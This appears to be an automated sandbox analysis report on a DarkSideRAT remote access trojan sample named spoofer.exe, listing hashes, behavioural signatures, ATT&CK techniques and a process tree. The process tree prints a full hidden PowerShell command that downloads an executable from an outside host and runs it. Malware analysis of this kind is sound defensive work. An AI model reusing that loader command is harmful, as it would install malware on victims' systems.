darksiderat | f16e5c1d61b993b015a08acd20895f18c0a63ea7ff11dbb51d0fe64a48968b93

Analysis

max time kernel
148s
max time network
117s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 16:28

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General

Target
spoofer.exe
Size 3.3MB
Sample261027-tyzpmaev7v
SHA256 f16e5c1d61b993b015a08acd20895f18c0a63ea7ff11dbb51d0fe64a48968b93
MD5 ab9853c135593fa1d531ee0d0298b12f
SHA1 e44cbbb9239ee24b075f5354ff6750c28d60d9b0
SHA512 c8066a32f4441d5d3d27712ec27340e2c26c91ec7788c5e5322b48810950672bb43dd45f555eec027926696614be0e594af24abaef9acafa73a92d35b6de932f
SSDEEP 49152:ThnQETgOum01hXdChf4y3VLuxuMvAKrTZrNyAk2dEzkhT8pF08sP:lQEh1jVqxdAGTZ10tQP
TLSH
T15BF5DF16A29B42A8DFB29B3888949673D6B13CC943B0C6E71ADC49752F279F45F3C311
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral2/files/0x000f00000001c572-16.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5516	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5516	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	5516	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2996	BK213691.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1312	cmd.exe
5236	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5516	powershell.exe
5516	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2092	spoofer.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	spoofer.exe
Token: SeDebugPrivilege	5516	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2092	spoofer.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2092 wrote to memory of 1312	2092	spoofer.exe	90
PID 1312 wrote to memory of 5236	1312	cmd.exe	91
PID 5236 wrote to memory of 5516	5236	cmd.exe	93
PID 5516 wrote to memory of 2996	5516	powershell.exe	94

C:\Users\Admin\AppData\Local\Temp\spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\spoofer.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Wm04TO' -OutFile $env:APPDATA\BK213691.exe; Start-Process -FilePath $env:APPDATA\BK213691.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Wm04TO' -OutFile $env:APPDATA\BK213691.exe; Start-Process -FilePath $env:APPDATA\BK213691.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5236
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://darkside.cy/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt_Wm04TO' -OutFile $env:APPDATA\BK213691.exe; Start-Process -FilePath $env:APPDATA\BK213691.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5516
    - - C:\Users\Admin\AppData\Roaming\BK213691.exe
        
        "C:\Users\Admin\AppData\Roaming\BK213691.exe"
        5⤵
        Executes dropped EXE
        
        PID:2996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

BK213691.exe

Path C:\Users\Admin\AppData\Roaming\BK213691.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5516-0-0x00007FFD1859F000-0x00007FFD185A0000-memory.dmp

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memory/5516-1-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-4-0x0000029D7C6E0000-0x0000029D7C702000-memory.dmp

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memory/5516-5-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-6-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-7-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-8-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-9-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-19-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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memory/5516-20-0x00007FFD18410000-0x00007FFD18DB4000-memory.dmp

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